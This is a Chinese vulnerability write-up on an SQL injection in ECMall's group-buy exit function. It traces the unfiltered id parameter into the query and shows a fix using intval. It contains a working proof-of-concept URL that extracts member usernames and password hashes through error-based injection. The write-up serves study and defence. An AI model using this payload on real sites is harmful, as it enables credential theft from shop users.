catalog

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

Relevant Link:

2. 漏洞触发条件

0x1: POC

http://localhost/ecmall/index.php?app=buyer_groupbuy&act=exit_group&id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b

3. 漏洞影响范围
4. 漏洞代码分析

/app/buyer_groupbuy.app.php

function exit_group()
{
//未对$id进行规范化过滤,导致攻击者可以传入非int型数据
$id = empty($_GET['id']) ? : $_GET['id'];
if (!$id)
{
$this->show_warning('no_such_groupbuy');
return false;
} // 判断是否能退团
if (!$this->_ican($id, ACT))
{
$this->show_warning('Hacking Attempt');
return;
}
$member_mod = &m('member');
$member_mod->unlinkRelation('join_groupbuy', $this->visitor->info['user_id'], $id);
$this->show_message('exit_groupbuy_succeed');
}

跟进if (!$this->_ican($id, ACT))

function _ican($id, $act = '')
{
$state_permission = array(
GROUP_PENDING => array(),
GROUP_ON => array('view', 'exit_group'),
GROUP_END => array('view'),
GROUP_FINISHED => array('view', 'buy'),
GROUP_CANCELED => array('view')
); $group = current($this->_member_mod->getRelatedData('join_groupbuy', $this->visitor->info['user_id'], array(
'conditions' => 'gb.group_id=' . $id, //传入未过滤的$id参数
'order' => 'gb.group_id DESC',
'fields' => 'gb.state,groupbuy_log.order_id'
)));
if (!$group)
{
return false; // 越权或没有该团购
}
else
{
$state_permission[GROUP_FINISHED] = $group['order_id'] > ? array('view', 'view_order') : array('view', 'buy');
}
if (empty($act))
{
return $state_permission[$group['state']]; // 返回该团购此状态时允许的操作
}
return in_array($act, $state_permission[$group['state']]) ? true : false; // 该团购此状态是否允许执行此操作
}

继续跟进$this->_member_mod->getRelatedData
/eccore/model/mode.base.php

function getRelatedData($relation_name, $ids, $find_param = array())
{
$relation_info = $this->getRelation($relation_name);
$model =& m($relation_info['model']);
if (empty($ids))
{
$this->_error('no_ids_to_assoc', $model->getName()); return false;
} if ($relation_info['type'] != HAS_MANY && $relation_info['type'] != HAS_AND_BELONGS_TO_MANY)
{
$this->_error('invalid_assoc_model', $model->getName()); return false;
} $alias = $model->alias;
/* 如果是多对多关系,则连接的表的别名为指定别名或中间表名,否则为模型的别名 */
if ($relation_info['type'] == HAS_AND_BELONGS_TO_MANY)
{
$be_related = $model->getRelation($relation_info['reverse']);
$alias = isset($be_related['alias']) ? $be_related['alias'] : $be_related['middle_table'];
} /* 构造查询条件 */
$conditions = $alias . '.' . $relation_info['foreign_key'] . ' ' . db_create_in($ids); //主键值限定
$conditions .= $relation_info['ext_limit'] ?
' AND ' . $this->_getExtLimit($relation_info['ext_limit'], $alias)
: '';
$conditions .= is_string($find_param['conditions']) ? ' AND ' . $find_param['conditions'] : '';
$find_param['conditions'] = $conditions; /* 查询字段 */
$find_param['fields'] = !empty($find_param['fields']) ?
$find_param['fields'] . ',' . $alias . '.' .$relation_info['foreign_key']
: '';
switch ($relation_info['type'])
{
case HAS_MANY:
break;
case HAS_AND_BELONGS_TO_MANY:
$find_param['join'] = !empty($find_param['join']) ?
$find_param['join'] . ',' . $relation_info['reverse']
: $relation_info['reverse'];
empty($find_param['order']) && $find_param['order'] = $model->alias . ".{$model->prikey} DESC";
$find_param['index_key'] = array($relation_info['foreign_key'], $model->prikey);
break;
} return $model->find($find_param);
}

5. 防御方法

/app/buyer_groupbuy.app.php

function exit_group()
{
//通过intval进行规范化过滤
//$id = empty($_GET['id']) ? 0 : $_GET['id'];
$id = empty($_GET['id']) ? : intval( $_GET['id'] );
if (!$id)
{
$this->show_warning('no_such_groupbuy');
return false;
} // 判断是否能退团
if (!$this->_ican($id, ACT))
{
$this->show_warning('Hacking Attempt');
return;
}
$member_mod = &m('member');
$member_mod->unlinkRelation('join_groupbuy', $this->visitor->info['user_id'], $id);
$this->show_message('exit_groupbuy_succeed');
}

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

ECMall /app/buyer_groupbuy.app.php SQL Injection Vul的更多相关文章

  1. ecshop /search.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...

  2. ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出 ...

  3. discuz /faq.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 . 通过获取管理员密码 . 对管理员密码进行破解.通过在cmd5.com ...

  4. ecshop /goods.php SQL Injection Vul

    catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: poc http://localhost ...

  5. ecshop /category.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Relevant Link: http://sebug.net/vuld ...

  6. ecshop /api/client/api.php、/api/client/includes/lib_api.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECShop存在一个盲注漏洞,问题存在于/api/client/api. ...

  7. ecshop /flow.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP的配送地址页面网页没有验证地区参数的有效性,存在sql注入漏 ...

  8. ecshop /includes/modules/payment/alipay.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP支付插件存在SQL注入漏洞,此漏洞存在于/includes/ ...

  9. dedecms \plus\guestbook.php SQL Injection Vul By \plus\guestbook\edit.inc.php

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 注射漏洞成功需要条件如下 . php magic_quotes_gpc= ...

随机推荐

  1. 批量修改string中的字符

    #1,修改"/"为"\\",多用于在txt读取内容后进行修改 size_t pos0 = mkfolder.find("/");//首次查找 ...

  2. Matlab滤波器设计(转)

    滤波器设计是一个创建满足指定滤波要求的滤波器参数的过程.滤波器的实现包括滤波器结构的选择和滤波器参数的计算.只有完成了滤波器的设计和实现,才能最终完成数据的滤波. 滤波器设计的目标是实现数据序列的频率 ...

  3. spring WebSocket详解

    场景 websocket是Html5新增加特性之一,目的是浏览器与服务端建立全双工的通信方式,解决http请求-响应带来过多的资源消耗,同时对特殊场景应用提供了全新的实现方式,比如聊天.股票交易.游戏 ...

  4. 2013级软件工程GitHub账号信息

    GitHub账号信息 序号 班级 学号 姓名 个人GitHub网址 1 信1301-1班 20122951 刘伟 https://github.com/weige8882 2 信1301-1班 201 ...

  5. 从.NET的宠物商店到Android MVC MVP

    1 一些闲话 记得刚进公司的时候,我们除了做常规的Training Project外,每天还要上课,接受各种技术培训和公司业务介绍.当时第一次知道QA和SQA的区别.Training Project时 ...

  6. SQL Server 2012新特性(1)T-SQL操作FileTable目录实例

    在SQL Server 2008提供FileStream,以借助Windows系统本身的API来强化SQL Server对于非结构化数据的支持后,SQL Server 2012更是推出了像Contai ...

  7. js自定义事件

    自定义事件的本质,创建一个对象,然后把事件的名字作为对象的一个属性,然后value是一个[],把此事件的所以回调都push进去. 写一个很基本的,没有把对象暴露出去的js的自定义事件. var eve ...

  8. matlab eps

    matlab eps eps是一个函数.当没有参数时默认参数是1.返回的是该参数的精度. 也就是说单个的eps实际上是eps(1),表示的是1的精度. 这里要说一下精度的概念.浮点数所能表示的数值范围 ...

  9. Ubuntu修改文件关联

    * 在system setting>details中可以设置一部分文件关联,很弱很破. * 右键open with只能临时选择打开方式,并且可选的打开方式十分有限.如果是自己编的程序,在列表中没 ...

  10. 【JavaEE企业应用实战学习记录】authorityFilter

    package sanglp.servlet; import javax.servlet.*; import javax.servlet.annotation.WebFilter; import ja ...